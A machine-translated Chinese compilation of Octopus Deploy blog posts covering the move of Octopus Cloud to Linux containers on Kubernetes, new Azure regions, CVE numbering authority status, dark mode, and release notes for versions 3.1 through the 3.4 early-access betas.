k8s 对 Windows 节点的支持是以测试版的形式提供的，这实际上意味着它是没有文档记录的，并且可能曾经在某个人的机器上工作过，该人在另一个监视器上打开了 Kubernetes 源代码。一个令人难以置信的持久性壮举导致概念验证团队让 Octopus 在 Kubernetes 集群中的 Windows 上运行。可以说，我们并不觉得我们在走一条老路，更像是在丛林中开辟道路，永远不确定我们在向哪个方向行进。此外，Windows 节点被证明是不稳定的，定期意外死亡。
我们排除了 Kubernetes + Windows 作为一种还不够成熟的技术来下注。
我们也排除了一般窗口上的容器。作为评估 k8s 的一部分，我们还评估了在 Windows 上运行容器化的 Octopus。Linux 上的容器是优雅的，在 Linux 上运行容器只会导致容器化的进程在主机上执行。相比之下，在 Windows 中运行容器会导致许多系统服务也在运行。
Linux 上单个容器的运行进程:
Windows 上单个容器的运行进程:
这些服务带来了它们自己的资源开销，而且通常有点令人讨厌。
真正的障碍是，当我们进行这些实验时，我们不可避免地要探索互联网，寻找问题的解决方案，其他人的经验，等等。太多时候，我们只找到风滚草。我们只是没有意识到，有足够多的人在 Windows 容器上运行生产工作负载，以获得足够多的经验。
Linux 是一个不同的故事；在这一点上，Linux 上的容器是一条很好的道路，有很好的文档和工具。我们有证据表明，我们的许多客户在 Kubernetes 上运行生产工作负载，但是(这是一个相当大的但是)这需要将 Octopus 服务器移植到。NET 核心并在 Linux 上运行它。
决定
剩下的两个竞争者是:
- 每位客户的 Windows 流程。
- Kubernetes (Linux 和。网芯)。
两者都需要巨大的努力。一个关键的区别是努力的方向。
对于Windows Process Per Customer选项，工作主要是构建编排基础设施来分配和监控 Octopus 服务器进程。
对于 Kubernetes (Linux 和。NET Core) 选项，工作主要是将 Octopus 移植到。NET 核心，并确保它可以在基于 Linux 的容器中运行。
我们没有花太多时间来比较这两种方法所付出的努力。首先，因为我们和其他人一样不擅长评估工作。更重要的是，随着时间的推移，实施成本的差异将被摊销掉。我们还剩下什么？
八爪鱼会被造出来对付。NET Core，运行在 Linux 上，由 Kubernetes 进行容器化和编排。
我们决定努力把章鱼移植到。NET Core 是我们想要花费的努力。事实上，我们已经开始了港口，独立于这个决定。
我们可以推出自己的编排解决方案，但 Kubernetes 是为我们试图解决的问题而构建的。我们一直鼓吹使用 Octopus，而不是尝试推出自己的部署自动化，因此您可以将节省下来的时间用于改进核心软件。这是一个听取我们自己意见的机会。
这也是一个令人兴奋的机会，再次喝我们自己的香槟。我们可以利用大规模内置到 Octopus 中的 Kubernetes 支持。
结论
在撰写本文时，这些决定是在一年多前做出的，但在过去的一周左右，所有新的 Octopus Cloud 实例都被提供为 Linux 容器，运行在 AKS (Azure 的托管 Kubernetes)上！
【T2 
在撰写本报告时:
- 有 0 次设置失败。
- 绝大多数实例在不到 30 秒的时间内就完成了资源调配。
现在评估成本降低还为时过早，因为我们很谨慎，最初过度配置了节点。即使考虑到这一点，每个客户的成本也已经降低了 50%以上。
这种变化也带来了一些巨大的性能改进。过去，配置一个新的 Octopus 实例需要 10 多分钟，但现在已经减少到不到 30 秒。我们还通过 Octopus Cloud 实例获得了其他一些性能提升，我们将在以后的文章中讨论，在本系列的以后文章中，我们将详细了解。NET 核心端口，考虑选择哪个云提供商(AWS，Azure，Google 等。)，并评估项目的整体成功情况。
我们希望你喜欢这个幕后的窥视。敬请关注。
章鱼云:西欧地区现已推出-章鱼部署
tl;dr章鱼云现已在以下地区推出:
- Azure West US 2(美国华盛顿)。
- 蔚蓝西欧(荷兰)- 新！
章鱼云托管区域
Octopus Cloud 最初在位于美国俄勒冈州波特兰市的单个亚马逊网络服务(AWS)区域启动运行
2019 年，我们重新构建了章鱼云，以提高其性能并降低运行成本。作为这一转变的一部分，我们从 AWS 转移到了微软的 Azure 平台，我们有了 Azure West US 2 的新默认托管区域，位于美国华盛顿。我们现在正在扩展我们支持的地区，包括位于荷兰的 Azure West Europe。
迁移现有客户
我们很乐意将现有客户迁移到这个新地区。如果您对托管实例的位置有偏好，请联系我们，我们将与您一起迁移到新的区域。
结论
章鱼云现在在两个地区可用，我们将根据客户需求继续添加更多。
八达通部署现在是 CVE 号码管理机构(CNA) -八达通部署
2021 年 2 月，我们发布了专门的安全建议页面。此后，我们现在是 CVE 编码机构(CNA)。这授权 Octopus Deploy 将 CVE id 分配给 Octopus Deploy 范围内的漏洞。
什么是 CVE？
CVE 是一项基于社区的国际性工作，依靠社区来发现漏洞。
- 漏洞被发现，然后被分配并发布到 CVE 列表。
- 目录中发布的 CVE 记录使项目利益相关者能够快速发现和关联用于保护系统免受攻击的漏洞信息。
为什么我们变成了 CNA？
随着我们安全实践的成熟，我们希望简化 CVE 流程。这确保了当我们发布关于漏洞的信息时，我们确信 CVE ID 和附带的安全公告是同时发布的。
这对我们很重要，因为它确保我们的客户拥有他们需要的所有信息，以确认他们的八达通安装是安全的。
了解更多信息
如果您有兴趣了解更多关于 Octopus Deploy 的信任和安全的信息，请查看我们的信任和安全路线图。
如果您需要报告漏洞，请通过security@octopus.com联系我们。
介绍黑暗模式-章鱼部署
https://www.youtube.com/embed/ZMM8BowrUjQ
VIDEO
Octopus 2020.1 将 Octopus 带到了黑暗面，在这篇文章中，我们来看看为什么我们加入了黑暗模式，它看起来如何，我们如何实现它，以及在这个过程中吸取的一些教训。
根据研究公司尼尔森的数据，2018 年，成年人每天花十一个小时与带屏幕的设备互动。我们认为，对于开发者来说，这个数字可能会高得多。
我们创建了 Octopus Deploy，以便我们的客户可以随时随地进行部署，包括周五下午 5 点甚至更晚的时候。从 Octopus 2020.1，你可以通过点击屏幕右上角的配置文件菜单切换到黑暗模式，并将开关切换到 on。或者，如果你已经是黑暗模式的粉丝，并且在你的操作系统上启用了黑暗主题或夜间模式，当你登录时，八达通会自动加载黑暗主题。
我们为什么建造它
Octopus 被世界各地的开发人员和运营人员大量使用，他们倾向于喜欢黑暗模式。我们团队的大多数人在他们的笔记本电脑和手机上使用黑暗模式。
除此之外，Octopus Deploy 区别于其竞争对手的一点是拥有用户界面。保持界面的更新、响应和现代化是我们在过去一年投资 UI 专家的原因。我们希望我们的用户喜欢 Octopus UI。我们不希望部署你的应用程序成为一件苦差事，而是一项你期待的任务。黑暗模式对眼睛来说更容易，开发人员喜欢它，所以我们很自然地将它内置到 Octopus 中。
视觉游览
开发一个黑暗的主题对我们来说是一个很好的机会来回顾我们在 Octopus 是如何进行设计的。我们希望 Octopus 成为世界级的产品，我们认为世界级的产品应该是漂亮的和精心设计的。在开发黑暗主题的时候，我们开始增加一些改进来迎合可访问性。尽管我们小心翼翼地确保大多数颜色符合 AA 标准，但这不是一个易访问性主题，但它给了我们一个坚实的基础。
从配置文件菜单无缝切换黑暗模式的开/关:
如果你的操作系统有黑暗模式，八达通将自动检测到这一点，并设置你的主题:
Octopus 中的代码编辑器已经更新，无论您使用 PowerShell、Bash、Python、F#还是 C#，在黑暗模式下看起来都令人惊叹:
任务日志页面已经更新，在黑暗主题中看起来很醒目:
查看新的基础架构概述页面:
我们如何建造它
我们利用 CSS 自定义属性在 Octopus 中创建主题。CSS 变量是一个被广泛支持的特性，它使得 CSS 变量在运行时可用。我们没有使用 Material UI 的内置主题，因为我们的一些组件使用旧版本的 Material UI。我们使用 React Context 将颜色变量作为道具传递给组件，并在 SVG 图像中使用 CSS 变量来切换颜色，而不必维护多组图像。我们还利用 CSS 媒体特性prefers-color-scheme来检测系统使用的是暗主题还是亮主题。
我们确实遇到了 IE11 的问题，IE11 是唯一不支持 CSS 变量的浏览器。2019 年 11 月，我们的工程主管迈克尔·诺南写了一篇关于的文章，反对从 2020.1 开始支持 IE11。尽管我们正在移除对 IE11 的支持，但我们不想完全破坏 IE11 上的 Octopus，所以我们利用了一个pony fill(pony fill vs . Polly fill)来启用 IE11 上的 CSS 变量，并确保至少 light 主题在 IE11 上工作。
结论
通过黑暗模式，我们希望将章鱼带入一个新的世界，一个你可以日夜部署而不会疲劳眼睛的世界！我们希望您喜欢黑暗模式，如果您有任何反馈，请填写反馈表！
相关职位
Octopus Deploy 3.1 预发布版- Octopus Deploy
Octopus Deploy 3.1 现在作为预发布提供。
特征
。NET 4.5
Octopus Deploy 3.1 需要。NET 4.5 安装在服务器上。而触手不会要求。NET 4.5，如果您希望使用 TLS 1.2 ，则需要安装它。
报告
Octopus 3.1 增加了一个报告特性，使用您喜欢的报告工具，可以很容易地根据您的部署历史生成报告。
目前 Octopus 没有在任何地方的用户界面中显示这些报告数据，但是我们确实公开了原始数据，您可以在您最喜欢的报告工具中查询或使用这些数据。
原始数据以两种方式提供:
- XML 提要，可以由 Microsoft Excel 或 PowerBI(首选)等工具使用，或者以编程方式使用
- 作为 Octopus SQL 数据库中的一个表
这些数据允许您报告以下问题:
- 我们在多长时间内完成了多少次部署？针对哪些项目或环境？
- 有多少部署成功了？多少人失败了？
- 部署平均需要多长时间？
为了帮助您开始，我们提供了一个示例 Excel 电子表格，您可以将其连接到自己的 Octopus 服务器。
有关更多信息，请参见我们的报告文档。
触手升级和 TLS 1.2
我们最近宣布 Octopus 3.1 将要求。网 4.5 。既然我们要搬到。NET 4.5，章鱼/触手通讯可以用 TLS 1.2。
当建立连接时，Octopus 和触手会协商 TLS 1.0、1.1 和 1.2 中的最佳协议。但是，您可以通过配置 SChannel 来告诉 Windows 禁用 TLS 1.0 或 1.1(或任何其他协议)，这将覆盖 Octopus/触手使用的设置。一个允许你这样配置的免费工具是 IISCrypto
如果您只想成为 TLS 1.2，流程将是:
- 将 Octopus 升级到 3.1
- 将触手升级到 3.1
- 使用工具/修改注册表来禁用 TLS 1.0 和 1.1
需要注意的一点是，如果你已经有了 3.0 版本的触手，就不需要升级到 3.1 版本，因为这些变化不是强制性的。在环境标签上你会看到升级触手的按钮，但是如果出于某种原因你需要坚持触手的 3.0 版本，你可以。
Azure 步骤类型
正如 Paul 最近发布的，对于 3.1，我们正在改变部署到 Azure 的方法。
我们引入了三种新的步骤类型:
- Azure 云服务
- Azure Web 应用程序
- Azure PowerShell
希望我们保留了 3.0 中最好的变化，但重新启用了一些自动基础架构供应场景。
例如，查看云服务模板，您会注意到我们仍然有帐户，用于选择服务和存储帐户的下拉菜单仍然存在，但是所有字段都可以切换为绑定到变量表达式(如下图中的存储帐户和插槽)。
任何作为云服务或 Web 应用程序步骤的一部分运行的 PowerShell 都将自动加载 Azure PowerShell 模块，并选择与所选帐户关联的订阅。
我们还将捆绑的 Azure PowerShell 模块更新到版本 0.9.5 。
迁移 2.6 Azure 步骤
对于 3.0，我们无法将 2.6 Azure 云服务步骤迁移到新的 Azure 目标中。在 3.1 中，任何现有的 Azure 步骤都可以从 2.6 中迁移出来，并且无需修改就可以部署。
反对 3.0 目标
我们还没有删除 3.1 中的 3.0 Azure 目标。我们添加了一条警告消息，表明它们已被弃用。虽然我们没有严格的删除期限，但我们不打算长期支持这两种模式，我们鼓励您开始将 3.0 目标转移到 3.1 步骤类型中。我们向那些因这些变化而带来不便的人表示歉意，并希望您能理解。这不是一个轻率的决定，但我们认为这是未来的最佳选择。
部署到 Web 应用程序的子目录
自从我们增加了部署到 Azure Web Apps 的功能后，一个非常受欢迎的功能就是部署到站点根目录以外的位置。因此，我们在 Azure Web App 步骤中添加了一个“物理路径”字段。
这将支持从现有网站中独立部署 Azure Web 作业等场景。
概括起来
这是一个预发布版本，所以我们鼓励那些一直在等待这些特性的人抓住它并尝试一下。我们的目标是在接下来的两周内正式发布。
我们知道你们很多人一直在等待一些即将到来的特性，比如分支支持和多租户。接下来是这些。我们的目标是 3.1 版本，但是 Azure 的改变占了先机。我们已经相应地更新了我们的路线图,并且已经在开发 3.2 的特性。
愉快的部署！
八达通部署 3.2 -八达通部署
Octopus Deploy 3.2 于 2015 年 11 月 3 日发布，在此处可用。
特征
Octopus Deploy 3.2 完全是关于通道的，这是我们给最初在我们的 RFC 分支中讨论的特性起的名字。
构建服务器构建。章鱼展开。
我们认为区分源代码分支、哪些构建服务器关心和部署是很重要的，部署是渠道的来源。
频道
在一个软件项目中，您可能希望对某些版本进行不同的处理，Octopus Deploy 中的通道使这一点易于管理。每个渠道都有不同的生命周期、不同的变量和不同的部署流程。我们设计了一些渠道，使实施、管理和发展更复杂的部署场景变得更加容易。
虽然在 Octopus Deploy 中可以在没有通道的情况下模拟复杂的部署场景，但它通常涉及克隆项目，这会带来一系列复杂的问题。
我们认为开始使用 Octopus Deploy 中的通道的最佳方式是探索我们遇到的一些部署场景，以及通道如何在每个场景中提供帮助:
场景 1:更安全的标准发布推广
Matthew 正在改进和修复他公司最新发布的旗舰产品的缺陷。他希望推动他的代码更改，并让它们自动部署到一个开发环境中，然后让他的测试团队通过一个测试环境来促进发布，最后在准备就绪时将发布部署到生产。他还想构建预发布包，但想防止这些包被意外部署到生产。
这是一个非常典型的场景，Octopus Deploy 已经支持这个场景，不需要通道，除了通过添加一个简单的版本规则，您可以防止预发布意外地部署到生产中。
**注意:**版本规则将在您遵循 语义版本化(SemVer) 的版本化策略时发挥最佳作用。
场景 2:支持多个版本(不断发展的部署设计)
版本 1.x 刚刚发布，Andrew 正在着手 2.x 的工作。作为 2.x 的一部分，Andrew 需要引入一个新的服务，该服务需要一些新的步骤和一些新的变量。他希望尽快开始发布预发布版本。与此同时，Stephanie 正在增强和修复 1.x 版本的错误，并希望 1.x 的部署能够像以前一样正常工作。
在这种情况下，Andrew 可以创建一个名为2.x Unstable的新通道，并将新步骤和变量限定在该通道的范围内，以便它们只包含在 2.x 的部署中。他还可以配置版本规则，以便更容易、更安全地创建 1.x 或 2.x 版本，确保使用正确的包和部署步骤。
由于 Andrew 花时间创建了2.x Unstable通道，Stephanie 可以继续部署 1.x 版本，确信部署过程仍将工作，不会意外地错误包含任何 2.x 包。
场景 3:热修复部署
Stephanie 刚刚收到一个警告，由于与第三方集成的问题，1.x 版本中的检验流程在生产中失败。补救措施是对订单处理器服务进行简单的代码更改，她希望毫不延迟地为生产部署紧急修补程序版本。
谢天谢地，在这种情况下，斯蒂芬妮已经提前计划，并创建了一个使用Hotfix生命周期的1.x Hotfix频道。现在，她可以在Hotfix渠道创建修补程序版本，并将其直接部署到生产中，然后将该版本回填到开发和测试中。
场景 4:早期访问计划
Andrew 已经准备好开始与特定的可信测试客户群共享 2.x 的早期构建。他希望将特定的预发布版本部署到测试环境中，并将新的预发布版本通知给这些客户。
在这种情况下，Andrew 可以配置一个新的Beta环境、Beta生命周期和2.x Beta通道。现在，他可以将发布直接部署到新的Beta环境中，并防止它们被提升到其他环境中。他还可以配置一个新的步骤，作用于Beta通道，向所有早期访问的客户发送一封电子邮件，其中包含新测试版的 URL。
场景 5:特性分支部署
Sarah 正在为 2.x 版本开发一个名为多租户的新功能，她希望确保人们可以尽快测试她的工作，而不会中断 1.x 和 2.x 版本中正在进行的其他工作。
在这种情况下，莎拉可以创建一个名为2.x Feature Branch的通道，该通道范围内的一些步骤将自动在公共云中提供一个环境，该环境由基于发布版本的标签部分的约定命名。她甚至可以使用脚本模板将新特性分支部署的细节发布到他们的团队聊天中。
既然 Sarah 花时间创建了2.x Feature Branch频道:
- 当她团队中的任何人推出一个新的特性分支时，他们会在几分钟后收到一个通知，其中包含他们刚刚配置和部署的特性的测试环境的 URL
- 当任何人向现有的特性分支推送新代码时，新代码将被部署到他们特定特性的现有测试环境中
- 他们可以随时删除托管环境，并通过部署一个版本来重新配置它
演练
我们已经创建了实现这些场景的演练。你可以看视频或者自己做演练。
向后兼容性
我们将这一特性设计成不引人注目且向后兼容的。如果这些场景都不适合您，或者您已经有了自己的管理方法，您可以假装通道不存在，并像以前一样使用 Octopus Deploy。
概括起来
既然渠道已经完成，看看我们的路线图看看接下来会发生什么！不要忘了看看我们关于Octopus Reactions-Integration Toolkit的 RFC，并参与设计 Octopus Deploy 的未来。
愉快的部署！
八达通部署 3.3 -八达通部署
Octopus Deploy 3.3 对每个人都有好处(*):
- 对于非。我们支持 zip 和 tar 包，加上一些 JavaScript 库来帮助创建和推送包。
- 对于 Azure 用户，资源管理器集成和新的资源组模板步骤类型。
- 对于那些生活在雷德蒙德的人来说，3.3 为 ASP.NET 核心带来了一个故事。
- 我们也没有忘记我们的基础，对执行脚本进行了一系列改进。
***** 嗯...不是所有人。不包括多租户。我们在下面称呼。
特征
3.3 提供了以下新功能:
升级到八达通部署 3.3
对octo.exe、Octopus.Client和 TeamCity 插件的突破性改动
你需要升级octo.exe和你的团队城市插件。如果您使用的是DeploymentProcess资源，您还需要升级使用Octopus.Client的代码。
有关更多信息，请参考我们关于这一重大变更的文档。
编写源自包的步骤脚本
以前，对于独立的脚本步骤(即与打包的应用程序无关的脚本)，代码作为步骤配置的一部分存储在 Octopus Deploy 中。在 3.3 中，脚本步骤能够执行包含在包中的脚本。
这允许您将脚本存储在源代码控制中，将它们打包成构建过程的一部分，并将其推送到 Octopus Deploy。
在 Octopus 服务器上执行的脚本步骤
部署应用程序时，有些情况下您希望执行不需要在目标机器上执行的脚本。例如，对数据库执行一些 SQL。也可能有这样的情况，脚本不能在目标机器上执行(由于网络拓扑等)，而必须在 Octopus 服务器上执行。
3.3 增加一个新的步骤类型:在 Octopus 服务器上运行一个脚本。这消除了在 Octopus 服务器上安装触手的需要，这是以前最常见的解决方法。
基于服务器的步骤作为子步骤
如果您有一个包含子步骤的步骤(通常用于实现滚动部署)，那么您以前不能将基于服务器的步骤(例如电子邮件、手动干预)添加为子步骤。使用 3.3，您现在可以对部署到的每台计算机进行手动干预。
这个特性与上面提到的在 Octopus 服务器上运行脚本结合得很好。也许您有一个 web 应用程序的滚动部署，并且有一个 PowerShell 脚本步骤，该步骤在部署到负载均衡器之前将机器从负载均衡器中移除。PowerShell 步骤现在可以从 Octopus 服务器执行了。
支持 zip 和 tar 包
八达通部署不再是 NuGet-only！我们喜欢吃章鱼，但是我们知道有些时候，特别是对于那些生活在非。NET 世界，当创建一个 tar 或 zip 文件可以更方便。
如果使用内置的 Octopus 包存储库，现在可以使用常规的 zip 文件，或者 tar 文件(+ GZip 或 BZip2)。详情请参见我们的支持包文档。
OctoPack.js
继续让生活变得更简单的主题。NET 伙伴们，我们已经创建了一些 JavaScript 工具来帮助将包推送到 Octopus Deploy。 OctoPack.js 为 Node.js 带来了一些 OctoPack 功能。我们还创建了 gulp 和 grunt 包装器，因此从您的 JavaScript 构建链推送至 Octopus Deploy 变得更加容易。
查看我们的示例项目。
Azure 服务主账户
这个新账户类型代表 Azure Active Directory 中的一个服务主体。这样做的动机是与 Azure 资源管理器 API 集成，包括下面的新步骤类型。
Azure 资源组模板步骤
3.3 通过一个新的部署 Azure 资源组步骤类型扩展了 Octopus Deploy 的 Azure 集成，允许通过模板部署资源组。
这个特性在去年我们的 RFC 中已经指出。它允许对 Azure 进行声明性的、不可变的部署。
与源自包特性的脚本步骤类似，Azure 资源组模板可以作为 JSON 源直接输入到步骤中，也可以包含在包中。如果它作为 JSON source 输入，我们将动态显示参数的字段，这些字段当然可以绑定到 Octopus 变量。
ASP.NET 核心 JSON 配置
ASP。NET Core(以前称为 ASP.NET 5)越来越接近生产版本，我们知道一些客户已经在使用它，所以我们想确保它得到支持。
之前在包装方面有一些问题。NuGet 包中的 nuspec 文件。有变通办法，但有点痛苦。既然我们支持替代的包类型，这个问题是完全可以避免的。
此外，JSON 是 ASP.NET 核心中当前最流行的配置，我们已经添加了一个新的 AppSettings JSON 特性，使得将 Octopus 变量写入 JSON 配置文件变得更加容易。
我们现在在 Octopus Deploy 中也有一些关于 ASP.NET 核心部署的指南。
多租户——一个明显的疏漏
你们中的许多人会注意到上面的特性列表中有一个遗漏。
我们在 3.3 中承诺了多租户。多租户是 3.3 中的不是。对此我们深表歉意。
我们打算把它包括在内。我们发布了一个关于潜在实现的 RFC，并收到了很多有价值的反馈。反馈促使我们重新考虑我们提议的设计。在这一点上，我们必须决定是否保留上述所有功能以等待多租户，或者发布 3.3 sans MT，并花时间确保我们做得正确。显然我们选择了第二种选择。你很快就会看到修改后的 RFC。多租户是我们的首要任务。
章鱼部署 3.4 EAP - Alpha 2 -章鱼部署
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
我们很自豪地宣布 Alpha 2 的发布，作为 Octopus Deploy 3.4 的早期访问计划(EAP) 的一部分！这个功能发布是雄心勃勃的，我们想让你早点拿到它，而不是等着发布一个接近成熟的预发布版本。现在绝对是参与的最佳时机，让我们知道你的想法！
Octopus Deploy 3.4 出货后会是什么样子？
我们的目标是 Octopus Deploy 3.4 完整版的两个主要特性:
Alpha 2 中的多租户部署
在 Alpha 2 中，您可以:
Alpha 2 中的多租户示例
我们构建了一个小实用程序，它驱动 Octopus API 将完整的多租户示例(如上面的演示视频所示)安装到您的 Octopus 3.4.0 Alpha 2 服务器中。下载章鱼。Sampler.1.0.0.zip 并查看 EAP 页面了解更多详情。
多租户部署仍将继续
我们已经取得了很大的进步，但仍有一些重要的方面有待改进:
Alpha 2 中的机器策略
根据您的反馈(是的，这真的很有帮助！)我们提炼了机器策略的概念，在 Alpha 2 中我们认为机器策略是功能完整的。
在 Alpha 2 中，您可以:
- 控制健康检查的频率
- 定制运行状况检查脚本(从我们今天所做的作为基线/默认开始)，允许您控制运行状况检查的结果，现在结果为
Healthy、Healthy with warnings、Unhealthy、Unavailable(离线，但我们希望避免与离线混淆) - 指出哪些计算机预计会不时不可用，以减少运行状况检查结果中的干扰(以前，不可用的计算机会导致计算机不健康并在日志中出现错误)
- 控制机器长时间不可用时的操作
我们正在考虑的其他可能性:
- 锁定触手到一个特定的版本，因为你正在运行。某些服务器上的. NET 4.0
- 自动升级触手，而不是在环境页面上纠缠你
- 自动升级卡拉马里，而不是在环境页面上纠缠你
那么自动部署和跳过不可用于部署的机器呢？亲爱的读者，请继续读下去！
我们认为与部署相关的控件应该属于一个项目
在 Alpha 1 中，我们试图让一切都符合机器策略。经过思考(以及您的反馈)，我们决定将与部署相关的控制转移到项目中。实际上是部署过程决定了是否可以安全地跳过部署目标，或者在部署过程中包含部署目标，而不是机器策略。
在 Alpha 2 中，您可以:
- 在部署流程的不同阶段使用新的
Evaluate deployment targets步骤，确定哪些部署目标应该包含在后续步骤中(基于最新的运行状况检查结果，或者运行连接性检查，或者完整的运行状况检查)- 我们计划将此步骤改为
Health check步骤，允许您执行健康检查，并决定要做什么:部署失败，忽略不可用/不健康的机器继续部署，并可能将新的可用/健康的机器添加到部署中。你怎么看？
- 我们计划将此步骤改为
- 指示如果某些部署目标在部署期间变得不健康或不可用，则应该跳过它们(考虑在部署期间缩小规模)
T13
引入自动部署的触发器
不久前，我们写了一个 RFC，我们称之为章鱼反应。这个概念是你可以基于某些 Octopus 事件定义触发器，然后动作来执行响应。我们认为触发器和动作提供了一种建模自动部署的更好方法。我们计划在 Octopus 3.4 中使用触发器实现自动部署。更多细节请关注本期 GitHub。
想象一下，当具有web-server角色的机器变得健康(通过环境过滤)时配置一个触发器，您可以触发您的项目的部署，运行特定于那个web-server角色的步骤，并且以某种方式选择哪些其他步骤应该/不应该作为这个自动部署的一部分运行。
触发器仍在开发中，所以你不能在 Alpha 2 中配置自动部署，但是我们很想得到你基于这个截图的反馈。你怎么想呢?
Octopus Deploy Alpha 2 入门
使用访客帐户在我们的 EAP 演示服务器上试用。
**有 Azure 套餐吗？**你可以使用我们在 Azure Marketplace 新发布的模板，使用你自己的 Azure 订阅来建立一个完整的 Octopus 设置。这将在虚拟机上安装最新稳定版本的 Octopus 服务器，但您可以使用远程桌面将 Octopus 服务器升级到 EAP 版本。最后，完成后，您可以轻松地删除整个资源组！
想自己装？
我们的 EAP 附带 45 天的企业试用许可。下载最新的 EAP 版本，浏览发行说明。由于还处于开发的早期阶段，我们不支持从 EAP 版本升级。我们建议在试用服务器上安装 EAP 版本。
您的反馈确实很重要
请在我们的论坛发表反馈并加入讨论。我们特别希望收到以下方面的反馈:
- “正常”和“租用”部署概念是否令人困惑，或者对您来说是否有意义？
- 我们计划从快照中排除租户变量(这样您就可以添加它们，并在创建版本后随时更改细节)。我们还有移除快照的长期计划 -你怎么看？
- 您认为我们还应该允许选择租户/确定租户范围吗？
- 既然我们已经对它们进行了改进，那么
Machine Policies中还缺少什么吗？ - 您认为我们的自动部署方向有问题吗？
来吧，参与进来，帮助我们构建迄今为止最好的 Octopus 部署。部署愉快！
八达通部署 3.4 EAP - Beta 1 -八达通部署
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
我们很自豪地宣布 Beta 1 的发布，作为 Octopus Deploy 3.4 的早期访问计划(EAP) 的一部分！还有时间参与进来，让我们知道你的想法！
Octopus Deploy 3.4 Beta 1 中有哪些功能？
在这个版本中，我们已经完成了我们计划发布的核心部署功能，编写了指南来帮助您开始，并且我们已经在内部测试了所有这些功能几个星期。
多租户部署
多租户部署基本上已经完成，除了一些值得注意的遗漏，并且已经准备好让您开始认真测试。
开始多租户部署的最佳地方是我们的指南。
支持弹性和瞬态环境
我们已经完成了针对弹性和瞬态环境的特性集，包括机器策略、新项目配置选项、项目触发器(自动部署)，以及一个您可以添加到部署流程中的新健康检查步骤。
您可以结合这些功能来实现以下场景:
- 根据需求自动扩展 web 服务器
- 更新经常与公司网络断开连接的工作站/笔记本电脑上的应用程序
- 通过不可靠或缓慢的网络连接优雅地处理远程部署目标
开始使用弹性和瞬态环境支持的最佳地方是我们的指南。
云区
当我们发布 Octopus 3.0 时，我们认为我们在部署目标 Azure 云服务和 Azure Web App 方面做了一件好事——事实也的确如此。部署目标解决了一组需求，替换的 Azure 云服务和 Azure Web App 部署步骤解决了另一组需求。我们在之前的博客文章中写了更多关于这个的内容。
现在，我们引入了云区域作为弥合这一差距的一种方式，并使得为多区域云应用设计滚动部署变得更加容易。基于此，我们将开始放弃部署目标的过程。您可以在下面的中了解有关此的更多信息，我们将为您提供迁移所需的所有详细信息，作为我们文档中升级指南的一部分。
触手通信的代理支持
我们在 Octopus 服务器与触手通信的协议中实现了对 HTTP 代理服务器的支持。这对轮询和监听触角都有效。如果需要，每个触手可以配置成使用不同的代理。您甚至可以使用一个代理将触手连接到 Octopus 服务器，并使用另一个代理处理一般的 web 请求。
Octopus Deploy 3.4 Beta 1 中的一些值得注意的遗漏
为了更快地向我们的客户发布这个测试版，并利用您的反馈，我们做出了一些艰难的决定。
- 在 Beta 1 中，您可以使用 web 门户或 API 来部署发布，但是您不能使用
octo.exe或任何构建服务器扩展。我们希望在 Beta 2 中更新这些内容。 - 在 Beta 1 中，您可以显式地使用一个或多个租户来实现基于租户的安全性，但是在 Beta 1 中您不能使用租户标签。现在不要使用租户标签，只需显式地将租户添加到您的团队中。我们希望在 Beta 2 中完成使用租户标签的基于租户的安全性。
- 我们决定推迟一些额外的特性，这些特性将使处理大量租户和部署目标变得更加容易。
- 我们计划调整计算租户部署中包含哪些部署目标的方法，但我们未能在 Beta 1 中及时完成。目前，没有租户筛选的部署目标被视为“对所有租户可用”。在 Beta 1 中，最安全的方法是对所有环境使用租户，包括测试环境。在 Beta 2(以及更高版本)中，我们希望将该模型简化为:
- 租用的部署使用租用的部署目标(具有某种租户过滤器的目标)。
- 未租用的部署使用未租用的部署目标(没有任何类型的租户过滤器的目标)。
- 我们还没有完成对 API 的审查，我们预计它会在 Beta 1 和 Beta 2 之间发生变化。我们小心翼翼地使用典型的 API 优先的方法来构建 Octopus 3.4，但是在我们认为它稳定之前，我们想从几个不同的角度来审查这个 API。
重大变更和废弃通知
反对 Azure 部署目标
我们开始反对支持 Azure 云服务和 Azure Web App 部署目标。
别担心，在 Octopus 3.4 中，你可以查看和编辑现有的 Azure 部署目标，并开始迁移它们以使用 Azure 云服务和 Azure Web App 部署步骤和云区域。
在 Octopus Deploy 的未来版本中，我们将停止对 Azure 云服务和 Azure Web App 部署目标的支持。
运行状况检查结果的更改
我们为弹性和瞬态环境引入了一个新的属性MachineResource.HealthStatus，它可以是Healthy、HealthyWithWarnings、Unhealthy和Unavailable。在 Octopus 3.4 中，你可以继续使用现有的MachineResource.Status，它可以是Online或Offline，但是我们已经将Status属性标记为Obsolete，并将在未来的版本中删除它。
触手已被修补，以配合章鱼 3.4
如果你使用的是旧版本的触手，用 Octopus 3.4 注册一个全新的触手会失败。发生这种情况是因为老触手不理解云区域并且不能反序列化它们。我们已经修补了触手，以便在未来更能适应这种变化。
注意:这个问题只影响向你的章鱼服务器注册新的触手。现有的触手将继续正常工作。
- 注册 3.0.x 触须(用于老年人。NET 4.0-only 服务器):请下载触手 3.0.26 已经打了补丁，可以和 Octopus 3.4 一起使用。
- 注册新版本的触手:请开始使用 a 3.4.x 触手版本(我们推荐最新的)。
对内置存储库错误代码的更改
当您将一个重复的包推送到内置的包存储库时，我们现在将用 HTTP 状态码409 Conflict而不是400 Bad Request来响应。像nuget.exe这样的客户端只会显示 HTTP 状态代码，丢弃 Octopus 返回的原因，解释为什么这是一个错误的请求。在这种情况下使用409 Conflict会使诊断更容易。参考本 GitHub 问题了解更多信息。
在我们发布 Octopus 3.4 之前还需要做些什么？
除了与我们出色的 Octopus 社区合作提供反馈，我们还需要:
- 实现一些额外的特性，这些特性在处理大量租户和部署目标时会很好。
- 继续充实我们的指南，帮助您充分利用这些新功能。
- 使用 API 为租户迁移到 Octopus 3.4 提供指导。
- 进一步提高具有数百个租户、环境和部署目标的大型安装的性能。
我们非常兴奋地宣布，其他一些尚未为 Beta 1 做好准备，但将在 Beta 2 中发布的产品有:
已知问题
- 我们将继续在仪表盘上工作，它仍然有一些显示/数据问题。请随时将您在仪表盘上的反馈写给我们，以便我们将其纳入最终设计。
- 旧的触角将无法注册与章鱼 3.4 与以下信息:
Octopus.Client.Exceptions.OctopusDeserializationException: Unable to process response from server: The given key was not present in the dictionary.-见突破性的变化。
Octopus Deploy Beta 1 入门
使用来宾帐户在我们的 Beta 1 演示服务器上试用它，或者联系我们的支持团队获取提升的凭证。
